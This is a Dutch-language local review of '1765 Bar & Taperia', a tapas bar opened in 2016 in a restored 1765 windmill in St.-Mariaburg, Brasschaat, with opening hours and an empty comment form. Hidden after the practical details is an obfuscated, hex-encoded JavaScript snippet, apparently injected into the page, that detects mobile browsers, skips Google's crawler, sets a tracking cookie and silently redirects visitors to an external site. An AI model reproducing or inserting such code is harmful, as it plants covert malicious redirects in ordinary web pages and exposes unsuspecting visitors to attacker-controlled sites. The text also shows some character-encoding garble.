1765 bar taperia

2
0

Het interieur kreeg van uitbater Anthony Bellens een sober en stijlvol kleurpalet
DeA�klant vindt er Spaanse lekkernijen op het bord en in het glas
Opnieuw beschikt de wijk op mooie dagen over een gezellige ontmoetingsplaats
St.-Mariaburgs basismonument kreeg eindelijk een nieuwe kans :

1765 / BAR & TAPERIA (Sponsor Buitengewoon Brasschaat)

Het heeft wat gemeentelijke voeten in de aarde gehad ; het molengebouw dat zelfs zonder wieken trots verwijst naar de verre geschiedenis van onze wijk met de maalactiviteiten voor vele tarweoogsten uit de omtrek, stond er enkele jaren levenloos bij. De dikke muren waren poreus en vroegen een degelijke aanpak , de bestemming bleef lange tijd onduidelijk en menig bewoner van St.-Mariaburg vreesde voor een einde in mineur voor dit vertrouwde baken in de wijde omgeving.

Met de gedurfde bekleding van de molenromp, deed het bestuur van Brasschaat een duidelijke stellingname ; het gebouw zou blijven … en met de komst van Anthony Bellens, zelf inwoner van onze wijk, diende zich een kandidaat aan die het gebouw nieuw leven wil inblazen met de opstart van een horecabedrijf. Niet het zoveelste in de rij, maar eentje dat qua opzet en inrichting past bij het historische gegeven en dat bovendien een aanbod heeft dat niet meteen te vinden is in Brasschaat of Ekeren.

Anthony Bellens, de bescheiden jonge uitbater uit de Jacobuslei, kreeg zijn vorming via de PIVA hotelafdeling en de bartenderschool, en vulde dit aan met ervaringen via Erasmusuitwisseling in Parijs en werk bij de Brasschaatse Groene Jager. Hij verwierf de concessie van de gemeente voor een duur van 27 jaar, teken dat hij het meent met zijn plannen. Zijn eigen waardering en interesse voor de Spaanse lekkernijen op het bord en in het glas, hebben de keuze van het aanbod bepaald. De naam van zijn zaak : “1765”A� verwijst eenvoudig naar het bouwjaar van de molen.

Het interieur werd bedacht door de uitbater zelf ; met krijt op de vloer tekende hij uit wat kon en niet kon. Het resultaat mag er zijn; een sober en stijlvol kleurpalet met respect voor de aloude ruwe bakstenen binnenzijde van de romp en opvallende hedendaagse verlichting. Een gemakkelijke metalen trap die de kromming van de molenwand volgt, leidt naar de verdieping met nog meer tafeltjes; 1765 biedt in totaal een 40-tal zitjes aan. Buiten is er een ruim terras. De gemeente koos ervoor het sanitaire deel los van het bestaande molengebouw in te planten; een beetje vreemd misschien, maar de overkapping die Anthony liet aanbrengen, zorgt ervoor dat de gasten dit sanitaire gebouw met een zekere beschutting kunnen bereiken.

De zaak is sinds september 2016 open ; dat ging niet gepaard met luid tromgeroffel, maar met de bescheidenheid eigen aan de uitbater. Sinds danA� wordt gestaag gewerkt aan de verdere verfijning en uitbreiding van het aanbod. De momenteel nog eerder eenvoudige kaart biedt toch al pareltjes voor de smaakpapillen : koude en warme gerechtjes worden aangevuld met 6 typische zoetigheden. Uiteraard vind je er de klassieke serranoham of de albondigas (heerlijke gehaktballetjes in een fijne pittige tomatensalsa), of de zuiderse tomatenblokjes op toast ,de verse calamar fritti en ook gamba’s op de plank. Zoetebekken verliezen zich ongetwijfeld in de crA?me Catalan , 3 lekkere taartsoorten, een frisse citroensorbet met cava, of meer.

Voor de dorstigen is er een ruime keuze: warm of koud, likeurtjes, sangria, gin tonics en inA� het lijstje cervezas prijkt naast enkele Spaanse tapjes ook onze Brasschaatse d’Ouwe Caert. De wijnkeuze verraadt kennis en de vastberadenheid prijsvriendelijk te willen blijven. Uw dienaar proefde de rode huiswijn , een tempranillo die zacht en vlot wegdrinkt …

Wie met het oog op de komende zomerperiode een middag of een avondje uit wil in een uitzonderlijk kader, dient geen grote afstanden te doen ; St.-Mariaburg heeft nu Bar en Taperia 1765, uw bezoek zeker waard; lekkers op een groot terras of in een stemmige molenromp.

Praktisch :

openingsuren : dinsdag t/m zondag : vanaf 12.00u tot …
(keuken slechts tot 21.00u, zondag tot 20.00u)
site : www.1765.bar

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

0 meningen

Jouw mening is belangrijk

Zou je ook graag je mening kwijt willen?
Doe gerust via onderstaand formulier! Je kan ook commentaar geven op reeds bestaande meningen

Geef een reactie

Je e-mailadres zal niet getoond worden.